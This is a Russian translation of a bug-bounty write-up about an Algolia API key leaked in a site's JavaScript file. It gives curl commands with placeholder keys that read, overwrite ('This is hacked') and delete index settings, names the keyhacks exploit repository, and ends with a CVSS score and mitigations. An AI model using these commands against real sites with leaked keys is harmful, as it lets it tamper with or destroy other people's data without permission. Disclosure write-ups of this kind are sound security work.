Перевод: Неправильная конфигурация API - ключ API Algolia

Перевод: Неправильная конфигурация API - ключ API Algolia

@Ent_TranslateIB

Резюме

CRUD расшифровывается как Create, Read, Update и Delete - это четыре основные операции, которые выполняются над данными, хранящимися в базе данных. При создании API эти операции CRUD часто используются для создания базового интерфейса взаимодействия с базой данных для выполнения этих операций. Эти операции CRUD образуют основные компоненты для взаимодействия с базой данных через API и используются для создания, чтения, обновления и удаления данных по мере необходимости. Реализация этих операций может варьироваться в зависимости от конкретных требований приложения, но основная концепция остается неизменной.

  • Create: Эта операция используется для создания новой записи в базе данных. API принимает данные на вход, обычно в формате JSON, а затем вставляет эти данные в базу данных в виде новой записи.
  • Read: Эта операция используется для получения данных из базы данных. API принимает запрос, например, ID конкретной записи, а затем возвращает пользователю данные для этой записи.
  • Update: Эта операция используется для изменения существующей записи в базе данных. API принимает данные на вход, обычно в формате JSON, а затем обновляет соответствующую запись в базе данных новыми данными.
  • Delete: Эта операция используется для удаления записи из базы данных. API принимает запрос, например, ID конкретной записи, а затем удаляет соответствующую запись из базы данных.

Описание

Мы выявили неправильную конфигурацию API ключа Algolia на одной из программ YesWeHack, за которую мы получили 500 евро. Мы нашли все три вещи, необходимые для эксплуатации API-ключа Algolia, а именно API-ключ Algolia, ID приложения Algolia, имя индекса Algolia, и все эти три вещи были раскрыты в файле .js. Мы взяли эксплойт с Github Keyhacks и использовали его с ключом API.

Вот соответствующие HTTP для каждой операции:

  1. Create: HTTP POST
  2. Read: HTTP GET
  3. Update: HTTP PUT или HTTP PATCH
  4. Delete: HTTP DELETE

HTTP POST используется для создания нового ресурса на сервере. Полезная нагрузка запроса обычно содержит данные для хранения.

Пример

curl -X POST --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings --header ‘content-type: application/json’ --header ‘x-algolia-api-key: <example-key>’ --header ‘x-algolia-application-id: <example-application-id>’ --data ‘{“highlightPreTag”: “This is hacked”}’

HTTP GET используется для получения/чтения данных ресурса с сервера. Полезная нагрузка ответа обычно содержит данные, которые представляют ресурс.

Пример

curl --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings --header ‘content-type: application/json’ --header ‘x-algolia-api-key: <example-key>’ --header ‘x-algolia-application-id: <example-application-id>’

HTTP PUT используется для замены всех данных ресурса на сервере на новые. Полезная нагрузка запроса обычно содержит новые данные для замены старых.

Пример

curl -X PUT --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings --header ‘content-type: application/json’ --header ‘x-algolia-api-key: <example-key>’ --header ‘x-algolia-application-id: <example-application-id>’ --data ‘{“highlightPreTag”: “This is hacked”}’

HTTP PATCH используется для частичного обновления ресурса на сервере. Полезная нагрузка запроса обычно содержит только те изменения, которые необходимо внести в существующие данные.

Пример

curl -X PATCH --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings --header ‘content-type: application/json’ --header ‘x-algolia-api-key: <example-key>’ --header ‘x-algolia-application-id: <example-application-id>’ --data ‘{“highlightPreTag”: “This is hacked”}’

HTTP DELETE используется для удаления ресурса с сервера. Полезная нагрузка запроса обычно пуста, так как сервер просто удалит ресурс, идентифицированный URL.

Пример

curl -X DELETE --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings --header ‘content-type: application/json’ --header ‘x-algolia-api-key: <example-key>’ --header ‘x-algolia-application-id: <example-application-id>’ --data ‘{“highlightPreTag”: “This is hacked”}’

Код эксплойта с использованием команды Curl:

https://github.com/streaak/keyhacks#Algolia-API-key

Как мы нашли эту уязвимость?

1. Мы нашли ключ API в файле .js

Ключ API Algolia

2. Мы использовали команду curl для проверки базовой неправильной конфигурации API-ключа Algolia (операция Update)

Команда curl
Операция update

3. Затем, используя burpsuite, мы посетили URL, указанный в эксплуатации ключа API Algolia, и проверили ответ

Burpsuite
Ответ

4. Мы открыли ответ в браузере

Операция create

5. Мы выполнили операцию Read для чтения различных индексов

Burpsuite
Операция read

ПРИМЕЧАНИЕ: Операция DELETE также была разрешена, но после обсуждения с компанией было запрещено ее выполнять.

Почему так произошло?

По моему мнению,

Это произошло из-за трех основных недостатков

1. Хранение API на стороне клиента

Приложение хранило ключ API и его данные на стороне клиента.

2. Неправильная авторизация

Приложение не имело надлежащей проверки авторизации при выполнении вызовов API.

3. Небезопасные конечные точки API

Чувствительные конечные точки API были доступны всем пользователям.

Влияние

Любой пользователь сможет создавать, читать, обновлять и удалять данные на сайте. Злоумышленник может добавить свой собственный контент на сайт и удалить уже имеющийся на сайте.

Рассчитанный CVSS

Строка вектора : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Оценка : 9.8 (Критический)

Смягчение последствий

Есть три вещи, которые должны быть реализованы для смягчения этой проблемы, а именно

  1. Внедрение надлежащих механизмов аутентификации и авторизации для обеспечения того, чтобы только авторизованные пользователи могли выполнять операции CRUD
  2. Не храните ключи и секреты API на стороне клиента
  3. Поддерживайте API в актуальном состоянии с помощью последних исправлений и обновлений безопасности для предотвращения известных уязвимостей и эксплойтов.

Совместная работа выполнена с:

Sushil

Оригинал статьи - здесь.
Поддержите автора хлопками на Medium.


Перевод статьи был выполнен проектом перевод энтузиаста:

  • 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
  • 🔥 @Ent_Translate - Инстаграм проекта

Report Page